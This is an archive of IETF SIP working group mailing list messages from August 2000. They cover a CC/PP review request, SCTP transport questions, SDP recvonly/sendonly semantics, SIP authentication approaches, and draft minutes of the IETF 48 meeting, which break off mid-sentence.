multipart/mixed; boundary="------------6813514C3C526F1E518414E5" Subject: [SIP] Request for review: CC/PP specifications Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. --------------6813514C3C526F1E518414E5 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear All, I would like to request your review of the working drafts for the CC/PP specification. The latest version of the framework document is available at http://www.w3.org/TR/CCPP-struct/ and the vocabulary document is available at http://www.w3.org/TR/CCPP-vocab/ In case you feel you need more context, the Requirements and Architecture document outlines the use cases for CC/PP. It is available at http://www.w3.org/TR/CCPP-ra/ We need your comments to move on in the publication process, but we also need to speed up. So I would appreciate if you can send your comments to the address in the documents no later than September 15. Thanks, and looking forward to your comments Johan Hjelm Chair, CC/PP WG -- ERICSSON*RESEARCH*ERICSSON*RESEARCH*ERICSSON*RESEARCH*ERICSSON*RESEARCH Johan HJELM, Ericsson Research, T/K User Applications Group johan.hjelm@era-t.ericsson.se GSM Mobile +46-708-820315 (works everywhere but in Japan) W3C Advisory Committee Representative Chair CC/PP Working Group Read more about my recent book Designing Wireless Information Services http://www.wireless-information.net OPINIONS EXPRESSED ARE PERSONAL AND NOT THOSE OF ERICSSON ERICSSON*RESEARCH*ERICSSON*RESEARCH*ERICSSON*RESEARCH*ERICSSSON*RESARCH --------------6813514C3C526F1E518414E5 Content-Type: text/x-vcard; charset=us-ascii; name="johan.hjelm.vcf" Content-Description: Card for Johan Hjelm Content-Disposition: attachment; filename="johan.hjelm.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Hjelm;Johan tel;work:+46-708-8201315 x-mozilla-html:FALSE url:http://www.wireless-information.net org:Ericsson Research;T/KA adr:;;;;;; version:2.1 email;internet:johan.hjelm@era-t.ericsson.se title:Cool Guy Who Does Interesting Stuff note;quoted-printable:W3C Advisory Committee representative, Chair CC/PP working group =0D=0AEricsson Research Global Coordinator Profile Technology Research=0D=0AAuthor of "Designing Wireless Information Services", John Wiley & Sons, June 2000=0D=0A fn:Johan Hjelm end:vcard --------------6813514C3C526F1E518414E5-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 08:50:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA27416 for ; Wed, 30 Aug 2000 08:50:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9D66044344; Wed, 30 Aug 2000 07:50:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from newman.frascone.com (frascone.com [216.62.83.25]) by lists.bell-labs.com (Postfix) with ESMTP id C836244344 for ; Wed, 30 Aug 2000 07:28:38 -0400 (EDT) Received: (from chaos@localhost) by newman.frascone.com (8.9.3/8.9.3) id GAA28594; Wed, 30 Aug 2000 06:58:42 -0500 Date: Wed, 30 Aug 2000 06:58:41 -0500 From: David Frascone To: jimmy Zhang Cc: vkg@lucent.com, Subramania Sivaram , sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard Message-ID: <20000830065841.C28424@newman.frascone.com> Mail-Followup-To: jimmy Zhang , vkg@lucent.com, Subramania Sivaram , sip@lists.bell-labs.com References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> <39AAD058.9877FEC@lucent.com> <39AC34A8.6FB43B4F@ipunity.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <39AC34A8.6FB43B4F@ipunity.com>; from jz@ipunity.com on Tue, Aug 29, 2000 at 03:09:45PM -0700 X-encrypt-payload: no Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > I thought SCTP is an application level protocol that is designed to be > transported > over TCP/IP. My question is why it would be faster than TCP/IP. Also what > is > the point of build an application level protocol on top of another? SCTP runs over IP, not TCP. There is also a method to allow it to run over UDP. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 09:04:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27908 for ; Wed, 30 Aug 2000 09:04:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4102E4435C; Wed, 30 Aug 2000 08:02:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 8BA9D44346 for ; Wed, 30 Aug 2000 08:02:20 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA07572; Wed, 30 Aug 2000 09:02:15 -0400 (EDT) Message-ID: <39AD07FA.C8090EB5@cs.columbia.edu> Date: Wed, 30 Aug 2000 09:11:22 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: vkg@lucent.com Cc: jimmy Zhang , sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> <39AAD058.9877FEC@lucent.com> <39AC34A8.6FB43B4F@ipunity.com> <39AC3ADD.253D70A5@lucent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > Take a look at > http://search.ietf.org/internet-drafts/draft-ietf-sigtran-sctp-13.txt > for many reasons. Actually, since RTO.initial is 3 seconds by default, the call setup delay is not likely to be significantly lower than TCP. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 10:54:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01048 for ; Wed, 30 Aug 2000 10:54:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3DF7C4434B; Wed, 30 Aug 2000 09:53:46 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pc2call.com (unknown [212.187.178.58]) by lists.bell-labs.com (Postfix) with ESMTP id 1FE2D4433D for ; Wed, 30 Aug 2000 09:53:42 -0400 (EDT) Received: from mail.pc2call.com - 127.0.0.1 by pc2call.com with Microsoft SMTPSVC(5.5.1774.114.11); Wed, 30 Aug 2000 15:50:05 +0100 Received: from 212.187.178.62 by mail.pc2call.com ([212.187.178.58] running VPOP3) with ESMTP for ; Wed, 30 Aug 2000 15:00:29 +0100 Message-ID: <39AD13C0.726915D6@switchlab.net> Date: Wed, 30 Aug 2000 15:01:36 +0100 From: Benny Prijono X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com References: <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> <39A52333.A1E79D73@cs.columbia.edu> <39A5F723.7C8909E0@dynamicsoft.com> <39A6BB92.EB836D5E@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Server: VPOP3 V1.4.0b - Registered to: Switchlab Ltd Subject: [SIP] recvonly/sendonly in SDP Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello all, As Henning has pointed out below regarding the meaning of recvonly/sendonly attribute in SDP body, it seems that there's an incompatibility between SDP draft and SIP one. Has this been confirmed to the SDP authors? Because I got the impression that Henning was not sure about this. And if this is really the case, then has a consensus been made regarding which one to use? Personally, although I have implemented them as in the SIP draft, I don't mind if it has to be changed. cheers, Bennylp Henning Schulzrinne wrote: > > > Finally, there's a small bug in the current definition of the send-only > and receive-only description in Section B.2. RFC 2327 says: > > a=recvonly > This specifies that the tools should be started in receive-only > mode where applicable. It can be either a session or media > attribute, and is not dependent on charset. > > This is presumably from the viewpoint of the receiver of the SDP. (This > would certainly be true if I used SDP to invite somebody to a multicast > conference.) Thus, if the caller wants to only send, it should > logically include a 'recvonly' in its SDP, since that's what the > receiver of the SDP (the callee) would have to do. > > In the current SIP B.2 definition, > > If a session description from a caller contains a media stream which > is listed as send (receive) only, it means that the caller is only > willing to send (receive) this stream, not receive (send). The same > is true for the callee. > > This says the opposite: the caller that only sends would set the > description to send-only. It may be too late to fix this, depending on > whether anybody actually implements sendonly and recvonly. > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 12:03:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03247 for ; Wed, 30 Aug 2000 12:03:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 972454434C; Wed, 30 Aug 2000 11:03:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 321A84433D for ; Wed, 30 Aug 2000 11:03:36 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id JAA19897; Wed, 30 Aug 2000 09:03:16 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA25884; Wed, 30 Aug 2000 09:02:56 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14765.12335.868273.287866@thomasm-u1.cisco.com> Date: Wed, 30 Aug 2000 09:02:55 -0700 (PDT) To: Henning Schulzrinne Cc: Michael Thomas , Jonathan Rosenberg , David Harris , "Sip-Implementors (E-mail)" , sip Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A6D968.647FBFDB@cs.columbia.edu> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> <14758.51787.331133.132625@thomasm-u1.cisco.com> <39A6D968.647FBFDB@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > > > > Just because I trust your certificate to name > > you as Henning doesn't relieve me of knowing > > what you're authorized for. > > There are two different things here: > > - trusting the information (which is what we started out from in this > gateway discussion, e.g., trusting the caller-id value). Here, it's good > enough to know that it's an AT&T gateway, say (see earlier discussion). > Whether I accept a call from that gateway is a separate matter and > something that no third party can authorize anyway. (That is, the > traditional "Cisco badge" model doesn't apply here.) Oh, OK. I see where you're going. I didn't read the original message this way. > - granting authorization (should my phone ring). > > For authorization, the Basic/Digest mechanisms works, since I can hand > out user names and secrets to the very small subset of people in the > world that I want to be able to call me (at least outside certain hours > or using certain means of communication). This also works for outside > gateway access since the gateway has to have at least an indirect > business relationship with me in any event, requiring prior > establishment of trust. With Kerberos based key distribution, Digest could be almost aribitrarily large given cross realm operation. With PKCROSS, you move the PKI problem to the KDC which makes for an even more scalable solution than pure PKI solutions. Effectively, KDC's become PKI aggregators which shield the vagueries of cross realm policy from mere mortals. > See above. Again, at the danger of repeating myself, I'm talking about > things we can do today and where they might be useful. (Beyond the > do-I-trust-this-caller-id problem, public-key signed requests are also > useful for the is-this-call-really-from-the-local-gas-company problem. > Secret-based authentication, as in Basic and Digest, does nothing for me > there.) Not true. A cross realm Kerberos based solution would be more than adequate to give you a high level of confidence that a piece of information came from the realm it claims to have come from. And it doesn't require expensive public key operations at the endpoints or proxies. The only place that symmetric key solutions come up short is in their inability to deal with the situation where you can, without prior knowledge of the recipient, sign something that the recipient can verify directly. This is useful sometimes -- particularly in multicast cases -- but the unicast case only requires a an end to end INVITE to make that advantage disappear. > Are there statistics on the typical cert size? Probably, but I don't have any handy. I've heard that typical certs are ~500 bytes and that you need to ship part of the hierarchy which may include a cert or two more. Even if it's half, it's still problematic for multiple realms. > > 2) Carry the authentication in a separate protocol > > (such as the results of the KINK to-be-WG) and > > reuse digest authentication as the means of > > generating the keyed hash. > > > > I generally don't like reliance on third party > > protocols/questionable layering, but it is a > > possiblity and is somewhat inherent in both > > IPsec and TLS schemes (less so with TLS, but > > still). > > Again, none of this addresses current capabilities and models. Is that actually true? If you posit a pre-shared symmetric key between the two entities, both digest and PGP provide a means of doing symmetric key signatures. It's true that there isn't a SIP endorsed means of shipping Kerberos credentials, but that doesn't mean that symmetric key PGP or Basic/Digest couldn't be used as-is. I've promised to write an ID by this fall on how to do this, so we shall see. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 12:26:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03811 for ; Wed, 30 Aug 2000 12:26:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E009C4434E; Wed, 30 Aug 2000 11:25:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 42DFD4433D for ; Wed, 30 Aug 2000 10:07:59 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA14689; Wed, 30 Aug 2000 11:07:55 -0400 (EDT) Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA10786; Wed, 30 Aug 2000 11:07:57 -0400 (EDT) Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 30 Aug 2000 11:07:56 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF6787C5@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'vkg@lucent.com'" , jimmy Zhang Cc: sip@lists.bell-labs.com Subject: RE: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard Date: Wed, 30 Aug 2000 11:07:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is the SIP list, not the SCTP list. If you have questions on SCTP, you might want to take them over to the SCTP list (sigtran@standards.nortelnetworks.com). SCTP runs over IP, and does not use UDP or TCP. Originally, it was going to be layered on UDP (not TCP), but that was changed. It now runs directly on IP, as a layer 4 equivalent to UDP or TCP. Brian > -----Original Message----- > From: Vijay K. Gurbani [mailto:vkg@lucent.com] > Sent: Tuesday, August 29, 2000 6:36 PM > To: jimmy Zhang > Cc: sip@lists.bell-labs.com > Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in > SIP to Proposed Standard > > > jimmy Zhang wrote: > > > I thought SCTP is an application level protocol that is > designed to be > > transported over TCP/IP. > > It is -- for now. I belive the intent is for it to be > another transport > in addition to UDP and TCP and reside at the transport layer, or if it > does not reside at the transport layer, to directly use the > services of > the IP layer (a la ICMP or OSPF). BTW, IP had another > "faster than TCP" > but "more reliable than UDP" protocol called RDP (Reliable Datagram > Protocol) -- don't know why it never caught on (if you look in your > /etc/protocols file, you may still find an entry for it). W. Richard > Stevens in one of his seminal books proposes T/TCP > (Transaction Oriented > TCP) to be in much the same vein. Don't know why it never caught on, > either. > > > My question is why it would be faster than TCP/IP. > > Take a look at > http://search.ietf.org/internet-drafts/draft-ietf-sigtran-sctp-13.txt > for many reasons. > > > Also what is the point of build an application level > protocol on top > > of another? > > Quick acceptance. Until (and unless?) vendors modify their > IP kernels > to support another transport protocol, the easiest and most portable > way is to run it as an application level protocol. > > I believe vendor support is coming soon. Sun folks are talking about > using SCTP for AAA. Storage Area Network folks are talking about it > as well. > > Regards, > > - vijay > -- > Vijay K. Gurbani vkg@lucent.com vkg@research.bell-labs.com > vkg@acm.org > Internet Software Group/Intelligent Network and Instant Messaging > Lucent Technologies/Bell Labs Innovations, 263 Shuman Blvd, Rm 1A-413 > Naperville, Illinois 60566 Voice: +1 630 224 0216 Fax: +1 > 630 713 0184 > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 12:28:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA03859 for ; Wed, 30 Aug 2000 12:28:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8CA504435F; Wed, 30 Aug 2000 11:26:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from westhost16.westhost.net (westhost16.westhost.com [216.71.84.74]) by lists.bell-labs.com (Postfix) with ESMTP id 205BF4433D for ; Wed, 30 Aug 2000 10:48:30 -0400 (EDT) Received: from ipunity.com (adsl-63-199-177-242.dsl.snfc21.pacbell.net [63.199.177.242]) by westhost16.westhost.net (8.8.5/8.8.5) with ESMTP id KAA08808; Wed, 30 Aug 2000 10:42:26 -0500 Message-ID: <39AD0190.39AAB630@ipunity.com> Date: Wed, 30 Aug 2000 08:44:00 -0400 From: David Israel Organization: IP Unity X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.5-15smp i686) X-Accept-Language: en MIME-Version: 1.0 To: vkg@lucent.com Cc: jimmy Zhang , sip@lists.bell-labs.com Subject: Re: [SIP] Last Call: Reliability of Provisional Responses in SIP to Proposed Standard References: <53BA505BEC72D21194400000E216A244032088F4@wslexch.wipsys.soft.net> <39AAD058.9877FEC@lucent.com> <39AC34A8.6FB43B4F@ipunity.com> <39AC3ADD.253D70A5@lucent.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > Also what is the point of build an application level protocol on top > > of another? > > Quick acceptance. Until (and unless?) vendors modify their IP kernels > to support another transport protocol, the easiest and most portable > way is to run it as an application level protocol. > > I believe vendor support is coming soon. Sun folks are talking about > using SCTP for AAA. Storage Area Network folks are talking about it > as well. For SAN I am aware of two new protocols - DAFS (Direct Access File System) and SoIP (Storage over IP), which of these are considering SCTP? Can you point us to a resource or person for Sun using SCTP for AAA? Thank you, David _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 17:53:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09858 for ; Wed, 30 Aug 2000 17:53:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4D72644355; Wed, 30 Aug 2000 16:52:42 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchange.NeTrue.com (unknown [207.104.210.242]) by lists.bell-labs.com (Postfix) with ESMTP id BFE6B44346 for ; Wed, 30 Aug 2000 16:52:38 -0400 (EDT) Received: by exchange.netrue.com with Internet Mail Service (5.5.2650.21) id ; Wed, 30 Aug 2000 14:52:32 -0700 Message-ID: From: Tricia Wang To: sip@lists.bell-labs.com Date: Wed, 30 Aug 2000 14:52:31 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] COMET ? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Do we have a updated draft on COMET sip extension ? Can anyone point that to me . Thanks Tricia NeTrue Communicatios www.netrue.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 18:02:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10015 for ; Wed, 30 Aug 2000 18:02:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7629A44365; Wed, 30 Aug 2000 17:00:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mail.spectralink.com (unknown [216.148.100.3]) by lists.bell-labs.com (Postfix) with ESMTP id 6E12344359 for ; Wed, 30 Aug 2000 17:00:27 -0400 (EDT) Received: by MAIL with Internet Mail Service (5.5.2650.21) id ; Wed, 30 Aug 2000 15:57:02 -0600 Message-ID: <4262BC1254F9D311AFD0009027E06AED1AF3E7@SPECTRANET> From: Chris Durand To: "'sip@lists.bell-labs.com'" Date: Wed, 30 Aug 2000 15:57:30 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] audio frame length Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Does SIP have a mean of agreeing on an audio frame length betweem two devices (e.g .30ms of audio exchanged in each RTP packet). Thanks _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 18:48:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA10579 for ; Wed, 30 Aug 2000 18:48:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 97A5E44359; Wed, 30 Aug 2000 17:48:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from rly-ip01.mx.aol.com (rly-ip01.mx.aol.com [205.188.156.49]) by lists.bell-labs.com (Postfix) with ESMTP id 43AB344346 for ; Wed, 30 Aug 2000 17:48:29 -0400 (EDT) Received: from tot-tp.proxy.aol.com (tot-tp.proxy.aol.com [152.163.204.131]) by rly-ip01.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0) with ESMTP id SAA07060 for ; Wed, 30 Aug 2000 18:48:01 -0400 (EDT) Received: from sambhav (AC990918.ipt.aol.com [172.153.9.24]) by tot-tp.proxy.aol.com (8.10.0/8.10.0) with ESMTP id e7UMm0817693 for ; Wed, 30 Aug 2000 18:48:00 -0400 (EDT) Message-ID: <000b01c012d4$920d8460$0a233104@nexabit.com> From: "Umesh Sirsiwal" To: References: <4262BC1254F9D311AFD0009027E06AED1AF3E7@SPECTRANET> Date: Wed, 30 Aug 2000 18:49:34 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [SIP] SIP application in Mobile Network Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello, I am interested in knowing if there is anyone who is working on a SIP implementation for Mobile/Wireless applications. -Umesh _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Wed Aug 30 20:10:00 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11423 for ; Wed, 30 Aug 2000 20:10:00 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3E6714435A; Wed, 30 Aug 2000 19:09:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from kevlar.softarmor.com (dwillis1.directlink.net [63.64.250.82]) by lists.bell-labs.com (Postfix) with ESMTP id 4A48644346 for ; Wed, 30 Aug 2000 16:03:10 -0400 (EDT) Received: from cowboys (IDENT:root@localhost [127.0.0.1]) by kevlar.softarmor.com (8.9.3/8.9.3) with SMTP id DAA07785 for ; Thu, 31 Aug 2000 03:07:02 -0500 From: "Dean Willis" To: "IETF SIP" Date: Wed, 30 Aug 2000 16:01:04 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Subject: [SIP] Draft Minutes of SIP WG at IETF 48, Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit A better-formated (simple HTML) version can be retrieved from: http://www.softarmor.com/sipwg/meets/IETF48/minutes/index.html Minutes of SIP WG at IETF48 (Draft) ---------------------------------------------------------------------------- ---- Edited by Dean Willis, 8/28/2000 Monday Session _____________ Agenda Bashing and Startup Scott Bradner reviewed IPR notice. Karen O'Donahue volunteered to take notes. Proposed agenda review, no discussion. Status of Working Group Efforts -- led by Jonathan Rosenburg Guidelines for Authors proceeding as expected. Caller Preferences proceeding, some discussion on removal, agreement to proceed to last call. Info draft Reliability of Provisional Messages submitted to IESG on July 10. Supported/Server features on IESG agenda for consideration. Open List Issues -- Rosenburg Multiple transport parameters (Transports:). Could be a new parameter, or could be lisetd in the Contact: field with multiple Contact: headers. Discussion ensued, with both SRV (poor for negotiation) and SLP (possible for interdomain) mentioned. Henning summarized consensus that the number of transports is relatively small and the existing mechanism seems to work for now. How to handle OPTIONS and REGISTERS if max-forwards-0? Suggestion made that OPTIONS return 483, REGISTER be silently discarded. lennox objected to special behaviors for different methods. Henning asserted that max-forwards is really for debugging, and the handling isn't all that critical. Additional Detail on error Messages (Dave's Error Messages): Sparks suggest use of Refer (to, by) headers. Dave Oran prefers new failure-info header. Olson and others argues against overloading Contact. Henning argued need for explicit header. General consensus resulted on basic Dave mechanism with new explicit header. Mandatory UDP: Some hot debate, no real conclusion. Lawrence Conroy argued need for a simple TCP-only system, and Jonathan Lennox noted that making UDP mandatory has security implications for systems that are trying to use TLS. DTMF discussion was deferred to Session 2. Embedded Images: Much discussion on issues of size, direct vs. indirect embedding and relating content to messaging. Henning 